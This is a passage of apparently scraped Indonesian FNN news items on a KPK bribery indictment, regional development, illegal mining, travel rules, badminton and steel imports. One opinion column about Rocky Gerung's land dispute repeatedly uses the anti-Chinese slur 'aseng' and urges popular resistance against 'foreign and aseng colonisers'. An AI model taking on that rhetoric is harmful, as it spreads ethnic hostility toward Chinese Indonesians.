36 ribu dolar AS, Ajay Muhammad Priatna sejumlah Rp507,39 juta, Usman Effendi sejumlah Rp525 juta dan Rita Widyasari sejumlah RpRp5.197.800.000. M. Syahrial adalah Wali Kota Tanjungbalai nonaktif; Azis Syamsudin adalah Wakil Ketua DPR dari fraksi Partai Golkar; Aliza Gunado adalah kader Golkar yang pernah menjabat sebagai mantan Wakil Ketua Umum PP Angkatan Muda Partai Golkar (AMPG); Ajay Muhammad Priatna adalah Wali Kota Cimahi non-aktif; Usman Effendi adalah Direktur PT. Tenjo Jaya yang juga narapidana kasus korupsi hak penggunaan lahan di Kecamatan Tenjojaya, Sukabumi, Jawa Barat; dan Rita Wisyasari adalah mantan Bupati Kutai Kartanegara. Atas perbuatannya, Robin dan Maskur didakwa berdasarkan pasal 12 huruf a atau pasal 11 jo pasal 18 UU No 31 tahun 1999 sebagaimana diubah dengan UU No 20 tahun 2001 tentang Pemberantasan Tindak Pidana Korupsi jo pasal 55 ayat 1 ke-1 jo pasal 65 ayat 1 KUHP. Pasal tersebut mengatur tentang pegawai negeri atau penyelenggara negara yang menerima hadiah atau janji untuk menggerakkan agar melakukan atau tidak melakukan sesuatu dalam jabatannya, yang bertentangan dengan kewajibannya dengan ancaman pidana penjara seumur hidup atau paling singkat 4 tahun dan paling lama 20 tahun dan pidana denda paling sedikit Rp200 juta dan paling banyak Rp1 miliar. (sws, ant).

Azis Syamsuddin Sogok Rp3,613 Miliar ke Penyidik KPK untuk Urus Kasus

Jakarta, FNN - Wakil Ketua DPR dari fraksi Partai Golkar Azis Syamsudin bersama dengan kader partai beringin lain yaitu Aliza Gunado disebut memberikan suap senilai Rp3.099.887.000 dan 36 ribu dolar AS (sekitar Rp513 juta) sehingga totalnya sekitar Rp3,613 miliar ke penyidik KPK Stepanus Robin Pattuju untuk mengurus kasus di Lampung Tengah. "Bahwa untuk mengurus kasus yang melibatkan Azis Syamsudin dan ALiza Gunado di KPK, terdakwa Stepanus Robin Pattuju dan Maskur Husain telah menerima uang dengan jumlah keseluruhan sekitar Rp3.099.887.000 dan 36 ribu dolar AS (sekitar Rp513 juta)," kata jaksa penuntut umum (JPU) KPK Lie Putra Setiawan di pengadilan Tindak Pidana Korupsi (Tipikor) Jakarta, Senin. Hal tersebut terungkap dalam surat dakwaan Stepanus Robin Pattuju dan Maskur Husain. Dalam surat dakwaan disebut pada awalnya sekitar Agustus 2020, Robin dimintai tolong Azis Syamsudin berdiskusi dengan Maskur Husain apakah bersedia mengurus kasus yang melibatkan Azis Syamsudin dan Aliza Gunado terkait penyelidikan KPK di Lampung Tengah. Robin dan Maskur Husain sepakat untuk mengurus kasus yang melibatkan Azis Syamsudin dan Aliza Gunado tersebut asal diberi imbalan uang sejumlah Rp2 miliar dari masing-masing yaitu Azis Syamsudin dan Aliza Gunado dengan uang muka sejumlah Rp300 juta. Azis lalu menyetujui syarat pemberian uang senilai total Rp4 miliar tersebut. Robin lalu menerima uang muka sejumlah Rp100 juta dan Maskur Husain menerima sejumlah Rp200 juta melalui transfer rekening milik Azis Syamsudin pada 3 dan 5 Agustus 2020 Pada 5 Agustus 2020, Robin juga menerima tunai sejumlah 100 ribu dolar AS dari Azis Syamsudin rumah dinas Azis di Jalan Denpasar Raya 3/3 Jakarta Selatan. "Dimana terdakwa datang ke rumah dinas diantar oleh Agus Susanto. Uang tersebut sempat terdakwa tunjukkan kepada Agus Susanto saat ia sudah kembali ke mobil dan menyampaikan Azis Syamsudin meminta bantuan terdakwa, yang nantinya Agus Susanto pahami itu terkait kasus Azis Syamsudin di KPK," tambah jaksa. Robin lalu membagi-bagi uang tersebut yaitu sejumlah 36 ribu dolar AS kepada Maskur Husain di depan Pengadilan Negeri Jakarta Pusat dan menukarkan sisanya sebanyak 64 ribu dolar AS di "money changer" dengan menggunakan identitas Agus Susanto sehingga memperoleh uang rupiah sejumlah Rp936 juta. Uang tersebut sebagian diberikan kepada Maskur Husain yaitu sejumlah Rp300 juta di Rumah Makan Borero, Keramat Sentiong. "Selanjutnya mulai akhir Agustus 2020 sampai Maret 2021, terdakwa beberapa kali menerima sejumlah uang dari Azis Syamsudin dan Aliza Gunado dengan jumlah keseluruhan 171.900 dolar Singapura," ungkap jaksa. Robin lalu menukar uang tersebut menggunakan identitas Agus Susanto dan Rizky Cinde Awaliyah yang merupakan teman wanita Robin sehingga diperoleh uang senilai Rp1.863.887.000. Sebagian uang lalu diberikan ke Maskur Husain antara lain pada awal September 2020 di Rumah Makan Borero sejumlah Rp1 miliar dan pada September 2020 di Rumah Makan Borero sejumlah Rp800 juta. Total uang yang diterima Robin dan Masku adalah sekitar Rp3.099.887.000 dan 36 ribu dolar AS. "Kemudian terdakwa dan Maskur Husain bagi, dimana terdakwa memperoleh Rp799.887.000, sedangkan Maskur Husain memperoleh Rp2,3 miliar dan 36 ribu dolar AS," ungkap jaksa. Dalam perkara ini, Robin dan Maskur Husain didakwa menerima seluruhnya Rp11,025 miliar dan 36 ribu dolar AS (sekitar Rp513 juta) sehingga totalnya sebesar Rp11,5 miliar terkait pengurusan lima perkara di KPK. Robin dan Maskur didakwa menerima dari M Syahrial sejumlah Rp1,695 miliar, Azis Syamsudin dan Aliza Gunado sejumlah Rp3.099.887.000 dan 36 ribu dolar AS, Ajay Muhammad Priatna sejumlah Rp507,39 juta, Usman Effendi sejumlah Rp525 juta dan Rita Widyasari sejumlah RpRp5.197.800.000. M. Syahrial adalah Wali Kota Tanjungbalai nonaktif; Azis Syamsudin adalah Wakil Ketua DPR dari fraksi Partai Golkar; Aliza Gunado adalah kader Golkar yang pernah menjabat sebagai mantan Wakil Ketua Umum PP Angkatan Muda Partai Golkar (AMPG); Ajay Muhammad Priatna adalah Wali Kota Cimahi non-aktif; Usman Effendi adalah Direktur PT. Tenjo Jaya yang juga narapidna kasus korupsi hak penggunaan lahan di Kecamatan Tenjojaya, Sukabumi, Jawa Barat; dan Rita Wisyasari adalah mantan Bupati Kutai Kartanegara. Atas perbuatannya, Robin dan Maskur didakwa berdasarkan pasal 12 huruf a atau pasal 11 jo pasal 18 UU No. 31 tahun 1999 sebagaimana diubah dengan UU No. 20 tahun 2001 tentang Pemberantasan Tindak Pidana Korupsi jo padal 55 ayat 1 ke-1 jo pasal 65 ayat 1 KUHP. Pasal tersebut mengatur tentang pegawai negeri atau penyelenggara negara yang menerima hadiah atau janji untuk menggerakkan agar melakukan atau tidak melakukan sesuatu dalam jabatannya, yang bertentangan dengan kewajibannya dengan ancaman pidana penjara seumur hidup atau paling singkat 4 tahun dan paling lama 20 tahun dan pidana denda paling sedikit Rp200 juta dan paling banyak Rp1 miliar. (sws, ant).

Bermain-main dengan Rocky Gerung

By M Rizal Fadillah *) RAMAI berita Rocky Gerung disomasi PT. Sentul City Tbk yang ber-bongkar balik bahwa pemilik PT. Sentul City Kwee Cahyadi Kumala adalah terpidana korupsi kasus suap tukar guling kawasan hutan. Meski ada pengamat yang teriak somasi ini merupakan murni hukum, namun publik lebih yakin bahwa tekanan ini adalah murni politik. Soal tanah dan rumah hanya celah yang dicari-cari. Persis sama dengan kasus HRS tanah Mega Mendung. Sangat politis. Rocky dipastikan dapat membuktikan bahwa ia membeli tanah di Blok 026 Kampung Gunung Batu RT 02 RW 11 Kel. Bojong Koneng Kec. Babakan Madang Kab. Bogor tersebut dengan benar dan absah. Menurut hukum "pembeli yang beritikad baik dilindungi oleh undang-undang". PT Sentul City Tbk jika ingin membuktikan kepemilikannya maka harus melakukan gugatan perdata. Tidak bisa membongkar begitu saja. Pembongkaran sepihak adalah melawan hukum dan justru dapat dipidana. Ternyata bukan Rocky sendiri yang menempati lokasi yang dianggap sengketa tetapi ada 90 KK dan 6000 orang lainnya. Perlu diselesaikan dahulu mengenai status hukum masing-masingnya. Jangan-jangan justru status PT. Sentul City Tbk yang bermasalah secara hukum. Ini perlu diusut ke belakang. Sengketa kepemilikan adalah proses perdata, karenanya sangat salah jika ada pandangan bahwa Rocky terancam pidana penjara hingga 7 tahun. Memang belajar hukum mesti khatam. Nah jika telah mendapat kepastian hukum tentang status kepemilikan lahan, sedang pihak lain kemudian melakukan "penyerobotan", barulah terbuka aspek pidananya. Sengketa Rocky Gerung dan warga 90 KK dengan PT Sentul City Tbk adalah perkara perdata. Walaupun rakyat sudah sangat faham kasus ini berbasis politik. Perlawanan hukum sudah pasti, tetapi perlawanan politik harus dan juga pasti dilakukan. Aseng penikmat fasilitas negara yang telah merampok tanah rakyat tidak bisa dibiarkan. PT Sentul City bisa jadi pintu pembuka perlawanan rakyat atas jutaan hektar tanah rakyat dan bangsa Indonesia yang dikuasai aseng dan asing. Rocky Gerung diyakini publik tidak peduli soal kalah menang atas tanah yang dibelinya, tetapi perlawanan terhadap arogansi, keserakahan, dan penjajahan asing dan aseng yang dilindungi oleh penguasa bangsa sendiri harus dilakukan. Sangat disadari semakin habis tanah rakyat dan negara Indonesia yang telah dikuasai asing dan aseng penjajah negeri. Rakyat harus berbuat untuk memerdekakan bangsanya. PT Sentul City Tbk yang boss nya adalah koruptor penyuap, tengah mengajak bermain kepada Rocky Gerung dengan permainan bodoh yang mungkin akan memercik muka sendiri. Sentul bisa memantul, Rocky Gerung bisa bergaung. Kita lihat siapa yang akan menang dalam bertarung. *) Pemerhati Politik dan Kebangsaan

Ketua DPD: Perlu Langkah Kongkret Majukan Daerah Perbatasan

Surabaya, FNN - Ketua DPD RI, AA LaNyalla Mahmud Mattalitti, berharap pemerintah membuat langkah konkret untuk memajukan perekonomian di kawasan perbatasan seiring pembangunan Pos Lintas Batas Negara (PLBN) Sota, Merauke, Papua. "Keberadaan Pos Lintas Batas Negara harus dimanfaatkan untuk mendorong kemajuan ekonomi, meningkatkan taraf hidup dan kesejahteraan masyarakat sekitar," ujarnya dalam siaran pers diterima di Surabaya, Senin. Menurut dia, perlu sinergitas antara Badan Nasional Pengelola Perbatasan (BNPP), Kementerian/Lembaga terkait dan Pemerintah Daerah untuk mengembangkan sentra-sentra perekonomian baru. Mantan Ketua Umum PSSI tersebut juga merasa diperlukan prioritas pada aktivitas perdagangan, yakni ekspor dan impor. "Semua pihak terkait harus berperan aktif dalam menumbuhkan serta memajukan perekonomian di kawasan perbatasan. Ke depan diharapkan PLBN akan berkembang sehingga mampu mendukung aktivitas ekspor maupun impor," ucapnya. Dengan diresmikannya PLBN di Sota diharapkan dapat mengembangkan berbagai potensi sumber daya alam lokal yang memiliki prospek besar seperti sektor pertanian dan peternakan. "Apalagi pada 2018 Merauke ditetapkan sebagai daerah lumbung padi nasional. Bahkan sudah mampu ekspor komoditi pertanian antara lain beras, kopra dan gaharu. Dengan dibangunnya PLBN tentu saja semakin memudahkan alur dan prosedur ekspor," katanya. Kendati demikian, LaNyalla mengingatkan untuk tetap mengutamakan pada sektor keamanan karena daerah perbatasan memiliki risiko kejahatan dan kriminalitas tinggi. "Tak boleh dikesampingkan adalah antisipasi kemungkinan terjadinya tindakan kriminalitas. Meningkatnya mobilitas masyarakat, arus masuk dan keluar, serta aktivitas perekonomian yang terjadi pasti akan mendorong adanya kejahatan," tutur senator asal daerah pemilihan Jawa Timur tersebut. (sws, ant)

Sultan HB X: Tambang Pasir Ilegal Merapi Tidak Pro-Lingkungan

Jogjakarta, FNN - Gubernur Daerah Istimewa Yogyakarta Sri Sultan Hamengku Buwono X menyebut aktivitas penambangan pasir ilegal di lereng Gunung Merapi tidak pro-lingkungan karena mengakibatkan kerusakan lingkungan cukup parah di kawasan itu. "Hanya mencari pasir tapi semua rusak, sehingga ini jelas bagi saya tidak pro-lingkungan," kata Sultan HB X di Kompleks Kepatihan, Yogyakarta, Senin. Sultan mengungkapkan hal itu setelah sebelumnya mendatangi beberapa titik lokasi penambangan pasir ilegal di kawasan lereng Gunung Merapi pada Sabtu (11/9). Berdasarkan pengamatannya, Sultan menyebut penambangan pasir dilakukan secara serakah sehingga mengakibatkan kerusakan parah di lereng Gunung Merapi serta meninggalkan lubang bekas galian sedalam 50 hingga 80 meter. "Saya terkejut sebetulnya, saya tidak menyangka kalau kerusakan sedemikian parah, tapi tanpa reklamasi dan sebagainya. Jadi kalau (menurut) saya yang dicari hanya duit saja. Itu keserakahan yang saya maksud," kata dia. Setelah mengetahui kondisi itu, Sultan memutuskan menutup 14 titik penambangan pasir yang sebagian berada di lahan Sultan Ground (SG). Apalagi, penambangan yang berlangsung di kawasan itu tanpa mengantongi izin. "Memang izin itu enggak ada. Jadi semua saya tutup. Ada 14 titik," kata Raja Keraton Yogyakarta ini. Seluruh pintu masuk lokasi penambangan itu telah ditutup Pemda DIY dengan memasang portal. Sultan berharap setelah dilakukan penutupan tidak ada lagi aktivitas penambangan pasir secara ilegal di kawasan itu. "Dengan diberi portal, kendaraan dan sebagainya tidak bisa masuk. Di situ sudah ditulis larangannya. Semoga tidak dilakukan, kalau dilakukan, kriminal," kata Ngarsa Dalem. (sws, ant).

Keluar dan Masuk Malaysia Tetap Diwajibkan Isi MyTravel

Kuala Lumpur, FNN - Pemerintah Malaysia hingga saat ini masih mewajibkan warga negara dan warga asing yang ingin masuk atau keluar untuk mengisi formulir MyTravel guna mendapatkan persetujuan dari Departemen Imigrasi Malaysia, demikian disampaikan Dirjen Imigrasi Departemen Imigrasi Malaysia (JIM), Indera Khairul Dzaimee di Putrajaya, Senin. Khairu mengemukakan hal itu menanggapi artikel salah satu media setempat yang berjudul "Travel pass menyebabkan delay atau kegagalan berangkat". Media tersebut mengulas mengenai MyTravelPass (MTP) yang diyakini telah menyebabkan keterlambatan dalam urusan perjalanan keluar dan masuk negara. "Penulis juga mendakwa bahwa keperluan MTP tidak diinformasikan kepada umum," katanya. JIM ingin menjelaskan bahwa pada 7 Oktober 2020 Dirjen Imigrasi sudah menginformasikan kepada umum mengenai permohonan izin masuk dan keluar negara bagi warganegara Malaysia dan warganegara asing perlu melalui sistem MyTravelPass. "Pengumuman ini telah mendapat liputan yang meluas media setempat dan media internasional. Sejak saat itu hingga hari ini kami senantiasa membuat informasi kepada umum melalui media massa dan media sosial," katanya. Mulai dari 7 Oktober 2020 hingga 10 September, sebanyak 356.510 permohonan telah diterima. Dari jumlah ini sebanyak 6.697 permohonan dibatalkan, 208.509 lulus dan 127.465 permohonan ditolak. "Jumlah yang diproses pula ialah 13,000 permohonan yang diuruskan oleh tiga gugus tugas. Jumlah ini tidak pernah berkurang malahan meningkat setiap hari," katanya. Mereka menegaskan bahwa penegakan MTP adalah selaras dengan pembatasan perjalanan Perintah Kawalan Pergerakan (PKP). Penegakan MTP adalah mengawal pergerakan sebagai langkah pencegahan penularan virus COVID-19 dan ini terbukti sejak Agustus 2021 kasus impor positif COVID-19 yang dicatat adalah kurang dari 0.4 persen saja daripada jumlah kasus keseluruhan COVID-19 di Malaysia. "Waktu masa proses permohonan terpaksa dinaikkan dari tujuh hari kepada 14 hari karena keperluan tambahan masa proses diperlukan disebabkan jumlah permohonan bertambah," katanya. Dia mengatakan ini merupakan rentetan daripada dampak pembukaan lebih banyak sektor ekonomi yang mengakibatkan jumlah business travellers meningkat. "Orang banyak dinasihati supaya senantiasa peka dan peduli dengan semua pengumuman dan peraturan-peraturan terkini pemerintah serta membuat pemeriksaan tentang prosedur berkaitan sebelum memutuskan perjalanan ke luar negara," katanya. Selain itu, semua syarat permohonan perlu difahami dan keperluan permohonan seperti lampiran dokumen perlu dipenuhi sebelum menghantar permohonan. "Penilaian teliti perlu dibuat bagi mengelakkan penularan kasus impor positif COVID-19 merebak masuk ke negara ini," katanya. (mth)

BUMDes Sendangrejo Buka Unit Usaha Pertashop Sebagai Pendukung UMKM

Sleman, FNN - Bupati Sleman, Daerah Istimewa Yogyakarta Kustini Sri Purnomo meresmikan operasional Pertashop Sendangrejo, Kecamatan Minggir yang merupakan usaha yang ketiga di bawah pengelolaan BUMDes Rejo Gemilang, Kelurahan Sendangrejo yang berkerja sama dengan PT Pertamina, Senin. Lurah Sendangrejo Harjanto mengatakan Pertashop yang berlokasi di timur Kantor Kalurahan Sendangrejo ini mulai terlihat perkembangannya. Pendapatan per bulan yang terus meningkat diharapkan dapat menjadi pendukung UMKM warga sekitar. "Lokasi Pertashop ini sangat stategis mancakup jalan provinsi dan jalan alternatif Wates-Magelang, sehingga pendapatan diharapkan dapat membawa dampak positif bagi warga Sendangrejo," katanya. Bupati Sleman Kustini Sri Purnomo berharap dengan adanya Pertashop di Kelurahan Sendangrejo dapat meningkatkan aktivitas dan dinamika perekonomian kalurahan dan masyarakat setempat. "Keberadaan Pertashop ini saya harapkan dapat membuka peluang kerja maupun usaha baru bagi masyarakat sekitar. Termasuk mendukungan upaya Pemkab Sleman dalam membuka lapangan usaha," katanya. Ia juga berharap dengan adaya Pertashop di Kelurahan Sendangrejo ini dapat menjadi pemicu tumbuh dan berkembangnya perekonomian di Sendangrejo, sehingga pemerintahan kalurahan memiliki pusat ekonomi baru. "Dengan demikian maka keberadaan Pertashop ini dapat sekaligus berfungsi sebagai one stop shopping," katanya. (mth)

Startup Lokal Bantu Karya Seniman Lokal Menuju Global

Jakarta, FNN - Startup global karya anak bangsa Litedex.io siap membantu karya seniman lokal untuk merambah menuju pasar global sebagaimana harapan Wakil Menteri Perdagangan Jerry Sambuaga yang menginginkan agar generasi muda mampu mengembangkan aset-aset kripto baru. "Kehadiran platform decentralize exchange seperti Litedex.io akan mampu menjadi salah satu solusi bagi masyarakat, khususnya para seniman, untuk keluar dari keterpurukan ekonomi di masa pandemi seperti saat ini," ujar salah satu Founder Litedex.io Aji M Iqbal dalam keterangan tertulisnya, di Jakarta, Senin. Platform aset digital itu memiliki proyek-proyek favorit, satu di antaranya berupa Non Fungible Token (NFT) yang siap memfasilitasi para seniman lokal untuk membuat aset digital. Beberapa nama besar yang sudah menjalin kerja sama dengan Litedex.io adalah pelukis kenamaan Tanah Air, Yudhis Citra. Pelukis yang pernah meraih banyak penghargaan internasional ini akan berkarya melalui NFT Litedex.io. Sebagai pelukis konvensional, Yudhis Citra menyadari perkembangan teknologi di era digital saat ini, harus dimanfaatkan sebagai peluang bagi para seniman. Apalagi banyak seniman makin terpuruk imbas dari pandemi COVID-19. Selain itu ada Wahyu Widjajanto, pelukis asal Bandung yang mengapresiasi karya Next Art. NFT bisa menjadi tempat berkreasi talenta-talenta muda Indonesia dan berharap melahirkan banyak karya visual yang spektakuler. Pekan lalu, dalam rapat koordinasi antara Bank Indonesia dan Kementerian Perdagangan, Wamendag Jerry Sambuaga menilai pengembangan aset kripto khususnya yang punya basis underlying asset perlu mendapat perhatian serius. Hal itu dilakukan untuk mengintegrasikan sektor keuangan dan perdagangan digital dengan ekonomi riil yang dilakukan oleh masyarakat. (mth)

Richard Mainaky Beberkan Kunci Sukses Pelatihan Ganda Campuran PBSI

Jakarta, FNN - Richard Mainaky, kepala pelatih ganda campuran PBSI yang akan pensiun akhir September, menceritakan kunci suksesnya dalam memajukan sektor bulu tangkis nasional yang dulu sempat terpuruk itu. Selama 26 tahun berkecimpung sebagai pelatih di Pelatnas Cipayung, Jakarta Timur, Richard menemukan cara utama untuk membentuk karakter atlet yang baik ialah dengan menjadi contoh yang baik pula bagi anak didiknya. "Sebagai pelatih, saya beranggapan bahwa harus menjadi contoh buat pemain. Yang pertama, disiplin, itu yang saya tanamkan. Lalu komitmen, tanggung jawab dan kerja keras. Juga harus memiliki kepercayaan diri yang tinggi. Sebagai contoh, bila kita program jam tujuh, saya sudah sampai jam enam. Itu yang saya lakukan sejak tahun 1996," tutur Richard lewat keterangan tertulis PBSI di Jakarta, Senin. Menurut pria berusia 56 tahun itu, mendidik atlet ganda campuran adalah seni, dan berbeda dibanding sektor lain. Karena susunan pasangan pemain yang berbeda dari segi gender, tentu ada kiat tersendiri untuk menangani atletnya. "Memang sulit, ya, karena ganda campuran, kan, yang main dua orang tapi yang satu putra dan satu putri. Yang putra lebih ke ego, sementara putri lebih ke perasaan. Tapi saya merasa ini adalah seni yang menantang, bukan beban," ungkap Richard. Dalam melatih, ia pun selalu bekerja keras, bertekad kuat dan tidak mudah menyerah demi menaikkan kualitas ganda campuran yang pada era 90-an sempat dianaktirikan oleh PBSI. Ia juga mengaku tak ingin atlet merasa takut kepadanya, namun juga harus bisa saling menghargai agar tercipta ikatan antara pelatih dan pemain. Memahami karakter setiap atlet juga tak luput dari teknik kepelatihannya untuk bisa mengetahui kelebihan dan kekurangan anak didiknya. Kerja keras Richard sejak 1995 di PBSI pun membuahkan hasil dengan munculnya sejumlah bintang dari sektor ganda campuran, antara lain Tri Kusharjanto, Minarti Timur, Flandy Limpele, Vita Marissa, Nova Widianto, Liliyana Natsir, Tontowi Ahmad, Debby Susanto hingga Praveen Jordan dan Melati Daeva Oktavianti. Atlet gemblengan Richard juga sukses mendulang prestasi, mulai dari All England, Kejuaraan Dunia, hingga medali emas Olimpiade. Sebelum resmi hengkang untuk pulang ke Manado, Sulawesi Utara, Richard juga sudah berpesan kepada tim ganda campuran agar selalu menjaga kerja sama dan tetap bekerja keras untuk mengharumkan nama bangsa. "Saya minta semua meneruskan apa yang sudah saya bangun. Jadi, jangan sampai saat saya sudah tidak di sini, nanti tidak ada kerja sama yang bagus antar pelatih dan pemain. Saya tidak mau ganda campuran terpuruk lagi. Pelatih dan pemain harus siap, latihan tambahan apapun harus siap," pungkas Richard. (mth)

MPR: Wacana Perpanjangan Masa Jabatan Presiden Sangat Prematur

Jakarta, FNN - Ketua MPR RI Bambang Soesatyo menilai tudingan bahwa amendemen UUD NRI 1945 untuk perpanjangan periodisasi jabatan presiden menjadi tiga periode, merupakan wacana yang prematur. Menurut dia, dari segi politik, hal tersebut sulit terjadi karena partai politik sudah bersiap menghadapi Pemilu 2024 dengan mengusung calon presidennya masing-masing. "Di internal MPR RI sendiri, dari mulai Komisi Kajian Ketatanegaraan, Badan Pengkajian MPR, hingga tingkat pimpinan MPR, tidak pernah sekalipun membahas wacana perpanjangan periodisasi presiden menjadi tiga periode," kata Bambang Soesatyo (Bamsoet) dalam keterangannya di Jakarta, Senin. Hal itu dikatakan Bamsoet dalam webinar yang diselenggarakan Lembaga Hikmah dan Kebijakan Publik (LHKP) PP Muhammadiyah secara daring, Senin. Dia menegaskan bahwa rencana MPR RI melakukan amendemen terbatas UUD NRI 1945 hanya untuk menghadirkan Pokok-Pokok Haluan Negara (PPHN), bukan yang lain. Bamsoet menjelaskan, di Indonesia, aturan mengenai pembatasan masa jabatan presiden dan wakil presiden diatur secara tegas pada Pasal 7 UUD NRI 1945 yang menyatakan bahwa presiden dan wakil presiden memegang jabatan selama lima tahun, dan sesudahnya dapat dipilih kembali dalam jabatan yang sama, hanya untuk satu kali masa jabatan. "Artinya, presiden dan wakil presiden hanya dapat menjabat dua kali pada jabatan yang sama, baik berturut turut maupun tidak berturut-turut. Baik masa jabatan tersebut dipegang secara penuh dalam periode 5 tahun maupun kurang dari 5 tahun," ujarnya. Dia menjelaskan, untuk mengubah konstitusi dibutuhkan konsolidasi politik yang besar karena persyaratannya sangat berat, seperti tertuang dalam Pasal 37 ayat 1-3 UUD NRI 1945. Menurut dia, Pasal 37 ayat 1 menjelaskan, usul perubahan pasal-pasal konstitusi dapat diagendakan dalam sidang MPR apabila diajukan sekurang-kurangnya 1/3 dari jumlah anggota MPR (237 dari 711 jumlah anggota MPR). Pada ayat 3, dijelaskan untuk mengubah pasal-pasal konstitusi, sidang MPR harus dihadiri sekurang-kurangnya 2/3 dari jumlah anggota MPR (474 dari 711 anggota MPR). "Sementara di ayat 4 dijelaskan, putusan mengubah pasal-pasal UUD dilakukan dengan persetujuan sekurang-kurangnya lima puluh persen ditambah satu anggota dari seluruh anggota MPR, sekitar 357 dari 711 anggota MPR. Artinya, satu partai saja tidak setuju dengan rencana amandemen, maka amandemen tidak bisa dilakukan," katanya. Dia menjelaskan, jika merujuk referensi global, memang ada beberapa negara yang membolehkan masa jabatan Presiden lebih dari dua kali. Bamsoet mencontohkan sejarah Amerika Serikat mencatat, Presiden Franklin Roosevelt menjabat sebagai Presiden AS selama 4 kali dalam periode kepresidenan 1933-1945 ketika krisis akibat Perang Dunia II. Namun pasca amandemen Konstitusi tahun 1951, Presiden AS kemudian dibatasi masa jabatannya selama 2 periode. "Hingga saat ini, masih ada beberapa negara yang mengadopsi pemberlakuan masa jabatan presiden lebih dari 2 periode, antara lain Brasil, Argentina, Iran, Kongo, Kiribati, Tanjung Verde, dan Tiongkok," ujarnya. Wakil Ketua Umum Partai Golkar itu menjelaskan, dalam catatan sejarah, Indonesia pernah melakukan penundaan pemilu dan juga pernah melakukan percepatan pemilu. Dia mengatakan, Maklumat Wakil Presiden Mohammad Hatta pada 3 November 1945 membuat pemilu yang seharusnya dilakukan pada Januari 1946 ditunda ke tahun 1955, karena ketidaksiapan dan masih adanya ancaman dalam mempertahankan kemerdekaan. "Sedangkan percepatan pemilu pernah dilakukan melalui Sidang Istimewa MPR RI pada 10-13 November 1998 yang menolak laporan pertanggungjawaban Presiden Habibie, mengharuskan pemilu dipercepat dari jadwal sebelumnya pada tahun 2002 menjadi diselenggarakan pada tahun 1999," katanya. Menurut dia, pembatasan masa jabatan presiden dan wakil presiden di Indonesia adalah hasil dari reformasi agar selalu ada penyegaran dalam setiap periodisasi pemerintahan. Selain itu dia menilai untuk menjamin adanya kesinambungan, agar tidak setiap berganti pemerintahan berganti pula haluannya, maka kehadiran PPHN merupakan keniscayaan. Hadir dalam webinar tersebut antara lain Ketua Bidang Hukum PP Muhammadiyah Busyro Muqoddas, Ketua Fraksi Demokrat MPR RI Benny Harman, Ketua LHKP PP Muhammadiyah Yono Reksoprodjo, Wakil Sekretaris LHKP PP Muhammadiyah Titi Anggraini, Peneliti Senior LIPI Siti Zuhro, dan Peneliti Senior Pusat Kajian Konstitusi dan Pemerintahan Universitas Muhammadiyah Jakarta Iwan Satriawan. (mth)

Lembaga Riset Minta Pemerintah Hingga Produsen Cermati Impor Baja

Jakarta, FNN - Research Oriented Development Analysis (RODA) Institut meminta pemerintah hingga produsen mencermati kenaikan impor baja yang menembus angka 6,5 juta ton pada semester I 2021 atau meningkat 12,7 persen dibandingkan periode yang sama tahun lalu. "Fenomena ini perlu dimanfaatkan sebagai bahan evaluasi baik dari pemerintah sebagai penyusun kebijakan maupun kalangan industri sebagai pelaku usaha," kata Direktur Eksekutif RODA Institut Ahmad Rijal Ilyas dalam keterangannya di Jakarta, Senin. Melansir data Badan Pusat Statistik (BPS) impor baja pada semester I 2021 sebesar 6,5 juta ton, sedangkan periode yang sama tahun lalu hanya tercatat sebesar 5,8 juta ton. Nilai impor baja juga meningkat sebesar 5,3 miliar dolar AS atau 51,6 persen ketimbang tahun lalu yang hanya sebesar 3,5 miliar dolar AS. Ahmad menjelaskan kenaikan impor secara nilai terutama disebabkan kenaikan harga baja dunia secara signifikan yang terjadi mulai pertengahan tahun 2020 hingga saat ini. Menurutnya, ada banyak aspek yang menyebabkan terjadinya peningkatan impor baja pada paruh pertama 2021. Peningkatan permintaan produk turunan baja sebagai dampak pemulihan ekonomi merupakan faktor kritikal yang menentukan. Berbagai proyek pemerintah dan sektor swasta yang sempat tertunda tahun lalu, kini sudah dimulai kembali. Pemerintah memberikan stimulus kepada beberapa sektor untuk meningkatkan daya saing, di antaranya relaksasi PPnBM untuk sektor otomotif hingga fasilitas harga gas bumi untuk industri tertentu, termasuk industri logam dasar. "Fenomena kenaikan impor tidak luput dari impor yang dilakukan oleh produsen sendiri. Informasi lapangan mencatat bahwa 52,8 persen impor dilakukan oleh anggota asosiasi produsen baja (IISIA)," ujar Ahmad. Lebih lanjut dia menjelaskan bahwa fakta itu perlu didalami mengingat beberapa produsen impor barang sejenis hasil produksi mereka, baik melalui entitas produsen maupun anak perusahaan. Bahkan, lanjutnya, ada fasilitas impor yang dilakukan oleh produsen yang memiliki fasilitas impor jalur prioritas untuk mempermudah arus bahan baku produksi. Ia mengatakan sebanyak 50,6 persen impor baja dilakukan oleh produsen yang memiliki fasilitas tersebut. Di sisi lain peningkatan impor besi dan baja juga diiringi peningkatan ekspor yang cukup signifikan, sehingga neraca perdagangan produk intermediate baja yang berada pada Pos HS 7208-7229 surplus sebesar 1,7 miliar dolar AS. Jika ditambahkan oleh neraca perdagangan produk turunan baja yang berada pada HS 73, neraca tersebut mengalami surplus sebesar 2,7 miliar dolar AS atau meningkat lebih dari 1.500 persen dibandingkan periode yang sama pada tahun lalu sebesar 177 ribu dolar AS. "Kebijakan pengendalian impor yang dilakukan pemerintah menyasar pada keseimbangan pasok dan kebutuhan baja nasional, namun kebijakan tersebut sangat bergantung pada ketersediaan data yang digunakan sebagai bahan analisis," kata Ahmad. (mth)

DPRD Setujui APBD Kotabaru 2021 Sebesar Rp1,72 Triliun

Kotabaru, FNN - DPRD bersama Pemerintah Kabupaten Kotabaru, menyetujui Rancangan Anggaran Pendapatan dan Belanja Daerah Perubahan (APBD-P) anggaran 2021 sebesar Rp1,72 triliun untuk dijadikan Perda. "Setelah mencermati penyampaian Bupati Kotabaru, bahwa terjadi kenaikan sebesar Rp97,866 miliar atau 6,03 persen dari APBD murni sebesar Rp1,623 triliun," kata Ketua DPRD Kotabaru, Sairi Mukhlis. Mendukung penanganan dan dampak Pandemi COVID-19, Pemkab melakukan Refocusing paling sedikit 8 persen dari Alokasi Dana Umum (DAU). "Kami DPRD Kotabaru secara umum bisa memahami dan memaklumi dari apa yang dimaksud. Untuk itu perlu pelaksanaan program-program dan kegiatan-kegiatan yang prioritas," terang dia. Dikatakan, dalam pelaksanaan program-program APBD Perubahan Tahun Anggaran 2021 perlu kerja keras untuk melaksanakan yang tercantum dan telah tersusun dalam KUA PPAS Perubahan Tahun Anggaran 2021. "Bupati Kotabaru beserta seluruh jajaran SKPD diharapkan bekerja maksimal, berupaya agar program-program yang tertuang dalam APBD Perubahan 2021 